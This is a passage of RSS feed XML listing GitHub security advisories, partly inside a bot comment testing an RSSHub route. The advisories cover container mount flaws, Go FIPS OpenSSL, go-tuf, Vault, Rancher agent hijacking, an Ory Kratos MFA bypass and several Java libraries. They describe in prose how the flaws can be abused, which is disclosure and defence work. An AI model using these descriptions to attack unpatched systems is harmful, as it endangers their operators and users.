      <pubDate>Wed, 02 Oct 2024 06:30:26 GMT</pubDate>
    </item>
    <item>
      <title>Improper Input Validation in Buildah and Podman</title>
      <description>&lt;p&gt;A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-9407&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-9407&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-9407&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/security/cve/CVE-2024-9407&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2315887&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2315887&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-fhqq-8f65-5xfc</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-fhqq-8f65-5xfc</guid>
      <pubDate>Tue, 01 Oct 2024 21:31:35 GMT</pubDate>
    </item>
    <item>
      <title>Link Following in github.com/containers/common</title>
      <description>&lt;p&gt;A flaw was found in Go. When FIPS mode is enabled on a system, container runtimes may incorrectly handle certain file paths due to improper validation in the containers/common Go library. This flaw allows an attacker to exploit symbolic links and trick the system into mounting sensitive host directories inside a container. This issue also allows attackers to access critical host files, bypassing the intended isolation between containers and the host system.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-9341&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-9341&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-9341&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/security/cve/CVE-2024-9341&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2315691&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2315691&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/containers/common/blob/384f77532f67afc8a73d8e0c4adb0d195df57714/pkg/subscriptions/subscriptions.go#L169&quot;&gt;https://github.com/containers/common/blob/384f77532f67afc8a73d8e0c4adb0d195df57714/pkg/subscriptions/subscriptions.go#L169&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/containers/common/blob/384f77532f67afc8a73d8e0c4adb0d195df57714/pkg/subscriptions/subscriptions.go#L349&quot;&gt;https://github.com/containers/common/blob/384f77532f67afc8a73d8e0c4adb0d195df57714/pkg/subscriptions/subscriptions.go#L349&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/containers/common/commit/e7db06585c32e1a782c1d9aa3b71ccd708f5e23f/hovercard&quot; href=&quot;https://github.com/containers/common/commit/e7db06585c32e1a782c1d9aa3b71ccd708f5e23f&quot;&gt;containers/common@&lt;tt&gt;e7db065&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mc76-5925-c5p6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mc76-5925-c5p6</guid>
      <pubDate>Tue, 01 Oct 2024 21:31:34 GMT</pubDate>
    </item>
    <item>
      <title>Golang FIPS OpenSSL has a Use of Uninitialized Variable vulnerability</title>
      <description>&lt;p&gt;A vulnerability was found in Golang FIPS OpenSSL. This flaw allows a malicious user to randomly cause an uninitialized buffer length variable with a zeroed buffer to be returned in FIPS mode. It may also be possible to force a false positive match between non-equal hashes when comparing a trusted computed hmac sum to an untrusted input sum if an attacker can send a zeroed buffer in place of a pre-computed sum.&amp;nbsp; It is also possible to force a derived key to be all zeros instead of an unpredictable value.&amp;nbsp; This may have follow-on implications for the Go TLS stack.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-9355&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-9355&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-9355&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/security/cve/CVE-2024-9355&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2315719&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2315719&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:7502&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:7502&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:7550&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:7550&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-3h3x-2hwv-hr52</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-3h3x-2hwv-hr52</guid>
      <pubDate>Tue, 01 Oct 2024 21:31:34 GMT</pubDate>
    </item>
    <item>
      <title>Incorrect delegation lookups can make go-tuf download the wrong artifact</title>
      <description>&lt;p&gt;During the ongoing work on the TUF conformance test suite, we have come across a test that reveals what we believe is a bug in go-tuf with security implications. The bug exists in go-tuf delegation tracing and could result in downloading the wrong artifact.&lt;/p&gt;
        &lt;p&gt;We have come across this issue in the test in this PR: &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2451719515&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/theupdateframework/tuf-conformance/issues/115&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/theupdateframework/tuf-conformance/pull/115/hovercard&quot; href=&quot;https://github.com/theupdateframework/tuf-conformance/pull/115&quot;&gt;theupdateframework/tuf-conformance#115&lt;/a&gt;.&lt;/p&gt;
        &lt;p&gt;The test - &lt;code class=&quot;notranslate&quot;&gt;test_graph_traversal&lt;/code&gt; - sets up a repository with a series of delegations, invokes the clients &lt;code class=&quot;notranslate&quot;&gt;refresh()&lt;/code&gt; and then checks the order in which the client traced the delegations. The test shows that the go-tuf client inconsistently traces the delegations in a wrong way. For example, &lt;a href=&quot;https://github.com/theupdateframework/tuf-conformance/pull/115#issuecomment-2275625542&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/theupdateframework/tuf-conformance/pull/115/hovercard&quot;&gt;during one CI run&lt;/a&gt;, the &lt;code class=&quot;notranslate&quot;&gt;two-level-delegations&lt;/code&gt; test case triggered a wrong order. The delegations in this look as such:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-python&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;two-level-delegations&quot;&lt;/span&gt;: &lt;span class=&quot;pl-v&quot;&gt;DelegationsTestCase&lt;/span&gt;(
        &lt;span class=&quot;pl-s1&quot;&gt;delegations&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;[
        &lt;span class=&quot;pl-v&quot;&gt;DelegationTester&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;targets&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;A&quot;&lt;/span&gt;),
        &lt;span class=&quot;pl-v&quot;&gt;DelegationTester&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;targets&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;B&quot;&lt;/span&gt;),
        &lt;span class=&quot;pl-v&quot;&gt;DelegationTester&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;B&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;C&quot;&lt;/span&gt;),
        ],
        &lt;span class=&quot;pl-s1&quot;&gt;visited_order&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;A&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;B&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;C&quot;&lt;/span&gt;],
        ),&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;Here, &lt;code class=&quot;notranslate&quot;&gt;targets&lt;/code&gt; delegate to &lt;code class=&quot;notranslate&quot;&gt;&quot;A&quot;&lt;/code&gt;, and to &lt;code class=&quot;notranslate&quot;&gt;&quot;B&quot;&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;&quot;B&quot;&lt;/code&gt; delegates to &lt;code class=&quot;notranslate&quot;&gt;&quot;C&quot;&lt;/code&gt;. The client should trace the delegations in the order &lt;code class=&quot;notranslate&quot;&gt;&quot;A&quot;&lt;/code&gt; then &lt;code class=&quot;notranslate&quot;&gt;&quot;B&quot;&lt;/code&gt; then &lt;code class=&quot;notranslate&quot;&gt;&quot;C&quot;&lt;/code&gt; but in this particular CI run, go-tuf traced the delegations &lt;code class=&quot;notranslate&quot;&gt;&quot;B&quot;-&amp;gt;&quot;C&quot;-&amp;gt;&quot;A&quot;&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;In a subsequent CI run, this test case did not fail, but &lt;a href=&quot;https://github.com/theupdateframework/tuf-conformance/pull/115#issuecomment-2275640487&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/theupdateframework/tuf-conformance/pull/115/hovercard&quot;&gt;another one did&lt;/a&gt;.&lt;/p&gt;
        &lt;p&gt;&lt;a class=&quot;user-mention notranslate&quot; data-hovercard-type=&quot;user&quot; data-hovercard-url=&quot;/users/jku/hovercard&quot; data-octo-click=&quot;hovercard-link-click&quot; data-octo-dimensions=&quot;link_type:self&quot; href=&quot;https://github.com/jku&quot;&gt;@jku&lt;/a&gt; has done a bit of debugging and believes that the returned map of &lt;code class=&quot;notranslate&quot;&gt;GetRolesForTarget&lt;/code&gt; returns a map that causes this behavior:&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/theupdateframework/go-tuf/blob/f95222bdd22d2ac4e5b8ed6fe912b645e213c3b5/metadata/metadata.go#L565-L580&quot;&gt;https://github.com/theupdateframework/go-tuf/blob/f95222bdd22d2ac4e5b8ed6fe912b645e213c3b5/metadata/metadata.go#L565-L580&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;We believe that this map should be an ordered list instead of a map.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-4f8r-qqr9-fq8j&quot; href=&quot;https://github.com/theupdateframework/go-tuf/security/advisories/GHSA-4f8r-qqr9-fq8j&quot;&gt;GHSA-4f8r-qqr9-fq8j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2451719515&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/theupdateframework/tuf-conformance/issues/115&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/theupdateframework/tuf-conformance/pull/115/hovercard&quot; href=&quot;https://github.com/theupdateframework/tuf-conformance/pull/115&quot;&gt;theupdateframework/tuf-conformance#115&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/theupdateframework/go-tuf/commit/f36420caba9edbfdfd64f95a9554c0836d9cf819/hovercard&quot; href=&quot;https://github.com/theupdateframework/go-tuf/commit/f36420caba9edbfdfd64f95a9554c0836d9cf819&quot;&gt;theupdateframework/go-tuf@&lt;tt&gt;f36420c&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/theupdateframework/go-tuf/blob/f95222bdd22d2ac4e5b8ed6fe912b645e213c3b5/metadata/metadata.go#L565-L580&quot;&gt;https://github.com/theupdateframework/go-tuf/blob/f95222bdd22d2ac4e5b8ed6fe912b645e213c3b5/metadata/metadata.go#L565-L580&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47534&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47534&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-4f8r-qqr9-fq8j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-4f8r-qqr9-fq8j</guid>
      <pubDate>Tue, 01 Oct 2024 18:13:25 GMT</pubDate>
    </item>
    <item>
      <title>Vault SSH Secrets Engine Configuration Did Not Restrict Valid Principals By Default</title>
      <description>&lt;p&gt;Vault’s SSH secrets engine did not require the valid_principals list to contain a value by default. If the valid_principals and default_user fields of the SSH secrets engine configuration are not set, an SSH certificate requested by an authorized user to Vault’s SSH secrets engine could be used to authenticate as any user on the host. Fixed in Vault Community Edition 1.17.6, and in Vault Enterprise 1.17.6, 1.16.10, and 1.15.15.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-7594&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-7594&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://discuss.hashicorp.com/t/hcsec-2024-20-vault-ssh-secrets-engine-configuration-did-not-restrict-valid-principals-by-default/70251&quot; rel=&quot;nofollow&quot;&gt;https://discuss.hashicorp.com/t/hcsec-2024-20-vault-ssh-secrets-engine-configuration-did-not-restrict-valid-principals-by-default/70251&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jg74-mwgw-v6x3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jg74-mwgw-v6x3</guid>
      <pubDate>Thu, 26 Sep 2024 21:31:11 GMT</pubDate>
    </item>
    <item>
      <title>Rancher agents can be hijacked by taking over the Rancher Server URL</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A vulnerability has been identified within Rancher that can be exploited in narrow circumstances through a man-in-the-middle (MITM) attack. An attacker would need to have control of an expired domain or execute a DNS spoofing/hijacking attack against the domain to exploit this vulnerability. The targeted domain is the one used as the Rancher URL.&lt;/p&gt;
        &lt;p&gt;SUSE is unaware of any successful exploitation of this vulnerability, which has a high complexity bar.&lt;/p&gt;
        &lt;p&gt;Please consult the associated &lt;a href=&quot;https://attack.mitre.org/techniques/T1557/&quot; rel=&quot;nofollow&quot;&gt;MITRE ATT&amp;amp;CK - Technique - Adversary-in-the-Middle&lt;/a&gt; for further information about this attack category.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;A new setting, &lt;a href=&quot;https://ranchermanager.docs.rancher.com/getting-started/installation-and-upgrade/installation-references/tls-settings&quot; rel=&quot;nofollow&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;agent-tls-mode&lt;/code&gt;&lt;/a&gt;, was added, which allows users to specify if agents will use &lt;code class=&quot;notranslate&quot;&gt;strict&lt;/code&gt; certificate verification when connecting to Rancher. The field can be set to &lt;code class=&quot;notranslate&quot;&gt;strict&lt;/code&gt; (which requires the agent to verify the certificate using only the Certificate Authority in the &lt;code class=&quot;notranslate&quot;&gt;cacerts&lt;/code&gt; setting) or &lt;code class=&quot;notranslate&quot;&gt;system-store&lt;/code&gt; (which allows the agent to verify the certificate using any Certificate Authority in the operating system&#39;s trust store). This setting will default to strict on new installs of Rancher &lt;code class=&quot;notranslate&quot;&gt;v2.8.6&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;v2.9.0&lt;/code&gt;, and newer versions. When upgrading from a prior version, the current value will be kept. If updating from older versions, the settings must be manually configured.&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; For non-Windows nodes, this is fixed since &lt;code class=&quot;notranslate&quot;&gt;v2.8.6&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;v2.9.0&lt;/code&gt;. For Windows nodes, this is fully fixed starting with &lt;code class=&quot;notranslate&quot;&gt;v2.8.8&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;v2.9.2&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;Patched versions include releases &lt;code class=&quot;notranslate&quot;&gt;v2.8.8&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;v2.9.2&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;For non-Windows nodes, the fix was released with &lt;code class=&quot;notranslate&quot;&gt;v2.7.15&lt;/code&gt;. However, if you are running Rancher &lt;code class=&quot;notranslate&quot;&gt;v2.7.x&lt;/code&gt; and have Windows nodes, you must follow the below workaround to address this issue on those nodes.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;If you can&#39;t update, please follow the standard security practices including:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;Properly control the expiration and ownership of the domain used as the Rancher URL (the &lt;code class=&quot;notranslate&quot;&gt;server-url&lt;/code&gt; of the Rancher cluster).&lt;/li&gt;
        &lt;li&gt;Enabling DNSSEC as a way to protect against DNS spoofing or hijacking attacks.&lt;/li&gt;
        &lt;li&gt;Properly clean up and decommission unused clusters and downstream clusters, instead of leaving them behind. For example, downstream clusters which are alive while the main Rancher server is no longer available.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;In some cases, Windows nodes added to RKE2 clusters may not be automatically updated with the desired &lt;code class=&quot;notranslate&quot;&gt;agent-tls-mode&lt;/code&gt;. Windows clusters running at least the August patches (&lt;code class=&quot;notranslate&quot;&gt;v1.27.16&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;v1.28.13&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;v1.29.8&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;v1.30.4&lt;/code&gt;) will be automatically updated. For Windows nodes running older versions of RKE2, this issue can be manually resolved by following these &lt;a href=&quot;https://github.com/rancherlabs/support-tools/tree/master/windows-agent-strict-verify&quot;&gt;instructions&lt;/a&gt;.&lt;/p&gt;
        &lt;p&gt;If you are running Rancher &lt;code class=&quot;notranslate&quot;&gt;v2.7.x&lt;/code&gt; Windows nodes will not automatically update, and you must follow the above &lt;a href=&quot;https://github.com/rancherlabs/support-tools/tree/master/windows-agent-strict-verify&quot;&gt;instructions&lt;/a&gt;, with the following notes:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;This needs to be done for all existing Windows nodes and any new nodes provisioned.&lt;/li&gt;
        &lt;li&gt;You must omit the &lt;code class=&quot;notranslate&quot;&gt;DownloadWins&lt;/code&gt; flag, and must instead manually download the &lt;code class=&quot;notranslate&quot;&gt;rancher-wins&lt;/code&gt; version &lt;a href=&quot;https://github.com/rancher/wins/releases/tag/v0.4.18&quot;&gt;0.4.18&lt;/a&gt;, or greater, from its GitHub repository and place it in the required directories:&lt;br&gt;
        a. &lt;code class=&quot;notranslate&quot;&gt;c:\Windows&lt;/code&gt;&lt;br&gt;
        b. &lt;code class=&quot;notranslate&quot;&gt;c:\user\local\bin&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;You must restart the nodes after running the script, simply restarting &lt;code class=&quot;notranslate&quot;&gt;rancher-wins&lt;/code&gt; or RKE2 will result in &lt;a href=&quot;https://github.com/rancher/rke2/issues/5551&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/rancher/rke2/issues/5551/hovercard&quot;&gt;pod networking errors&lt;/a&gt;. The only scenario where you do not need to completely restart the node is if the cluster is running version &lt;code class=&quot;notranslate&quot;&gt;v1.27.16&lt;/code&gt; or higher.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3&gt;Credits&lt;/h3&gt;
        &lt;p&gt;This issue was found and reported by Jarkko Vesiluoma from Redtest Security.&lt;/p&gt;
        &lt;h3&gt;For more information&lt;/h3&gt;
        &lt;p&gt;If you have any questions or comments about this advisory:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Reach out to the &lt;a href=&quot;https://github.com/rancher/rancher/security/policy&quot;&gt;SUSE Rancher Security team&lt;/a&gt; for security related inquiries.&lt;/li&gt;
        &lt;li&gt;Open an issue in the &lt;a href=&quot;https://github.com/rancher/rancher/issues/new/choose&quot;&gt;Rancher&lt;/a&gt; repository.&lt;/li&gt;
        &lt;li&gt;Verify with our &lt;a href=&quot;https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/&quot; rel=&quot;nofollow&quot;&gt;support matrix&lt;/a&gt; and &lt;a href=&quot;https://www.suse.com/lifecycle/&quot; rel=&quot;nofollow&quot;&gt;product support lifecycle&lt;/a&gt;.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-h4h5-9833-v2p4&quot; href=&quot;https://github.com/rancher/rancher/security/advisories/GHSA-h4h5-9833-v2p4&quot;&gt;GHSA-h4h5-9833-v2p4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rancherlabs/support-tools/tree/master/windows-agent-strict-verify&quot;&gt;https://github.com/rancherlabs/support-tools/tree/master/windows-agent-strict-verify&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://ranchermanager.docs.rancher.com/getting-started/installation-and-upgrade/installation-references/tls-settings&quot; rel=&quot;nofollow&quot;&gt;https://ranchermanager.docs.rancher.com/getting-started/installation-and-upgrade/installation-references/tls-settings&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-h4h5-9833-v2p4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-h4h5-9833-v2p4</guid>
      <pubDate>Thu, 26 Sep 2024 21:13:08 GMT</pubDate>
    </item>
    <item>
      <title>Ory Kratos&#39;s setting required_aal `highest_available` does not properly respect code + mfa credentials</title>
      <description>&lt;h2&gt;Preconditions&lt;/h2&gt;
        &lt;ul&gt;
        &lt;li&gt;The &lt;code class=&quot;notranslate&quot;&gt;code&lt;/code&gt; login method is enabled with the &lt;code class=&quot;notranslate&quot;&gt;passwordless_enabled&lt;/code&gt; flag set to &lt;code class=&quot;notranslate&quot;&gt;true&lt;/code&gt; .&lt;/li&gt;
        &lt;li&gt;A 2FA method such as &lt;code class=&quot;notranslate&quot;&gt;totp&lt;/code&gt; is enabled.&lt;/li&gt;
        &lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;required_aal&lt;/code&gt; of the whomai check or the settings flow is set to &lt;code class=&quot;notranslate&quot;&gt;highest_available&lt;/code&gt;. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).&lt;/li&gt;
        &lt;li&gt;A user uses the &lt;code class=&quot;notranslate&quot;&gt;code&lt;/code&gt; method as the &lt;strong&gt;only&lt;/strong&gt; login method available. They do not have a password or any other first factor credential enabled.&lt;/li&gt;
        &lt;li&gt;The user has 2FA enabled.&lt;/li&gt;
        &lt;li&gt;The user’s &lt;code class=&quot;notranslate&quot;&gt;available_aal&lt;/code&gt; is incorrectly stored in the database as &lt;code class=&quot;notranslate&quot;&gt;aal1&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;aal0&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;NULL&lt;/code&gt;.&lt;/li&gt;
        &lt;li&gt;A user signs in using the code method, but does not complete the 2FA challenge.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Example server configuration&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Below you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the &lt;code class=&quot;notranslate&quot;&gt;code&lt;/code&gt; method enabled plus a second factor.&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;selfservice:
        methods:
        code:
        #

...

@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Oct 5, 2024

http://localhost:1200/github/advisor/data/reviewed/maven - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - maven - reviewed</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github/advisor/data/reviewed/maven" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - maven - reviewed - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Sat, 05 Oct 2024 18:31:06 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>JSON-lib mishandles an unbalanced comment string</title>
      <description>&lt;p&gt;util/JSONTokener.java in JSON-lib before 3.1.0 mishandles an unbalanced comment string.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47855&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47855&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/kordamp/json-lib/commit/a0c4a0eae277130e22979cf307c95dec4005a78e/hovercard&quot; href=&quot;https://github.com/kordamp/json-lib/commit/a0c4a0eae277130e22979cf307c95dec4005a78e&quot;&gt;kordamp/json-lib@&lt;tt&gt;a0c4a0e&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; href=&quot;https://github.com/kordamp/json-lib/compare/v3.0.3...v3.1.0&quot;&gt;kordamp/json-lib@&lt;tt&gt;v3.0.3...v3.1.0&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wwcp-26wc-3fxm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wwcp-26wc-3fxm</guid>
      <pubDate>Fri, 04 Oct 2024 06:30:45 GMT</pubDate>
    </item>
    <item>
      <title>Apache Commons IO: Possible denial of service attack on untrusted input to XmlStreamReader</title>
      <description>&lt;p&gt;Uncontrolled Resource Consumption vulnerability in Apache Commons IO.&lt;/p&gt;
        &lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;org.apache.commons.io.input.XmlStreamReader&lt;/code&gt; class may excessively consume CPU resources when processing maliciously crafted input.&lt;/p&gt;
        &lt;p&gt;This issue affects Apache Commons IO: from 2.0 before 2.14.0.&lt;/p&gt;
        &lt;p&gt;Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47554&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47554&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/6ozr91rr9cj5lm0zyhv30bsp317hk5z1&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/6ozr91rr9cj5lm0zyhv30bsp317hk5z1&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-78wr-2p64-hpwj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-78wr-2p64-hpwj</guid>
      <pubDate>Thu, 03 Oct 2024 12:30:48 GMT</pubDate>
    </item>
    <item>
      <title>Apache Avro Java SDK: Arbitrary Code Execution when reading Avro Data (Java SDK)</title>
      <description>&lt;p&gt;Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code.&lt;br&gt;
        Users are recommended to upgrade to version 1.11.4&amp;nbsp; or 1.12.0, which fix this issue.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
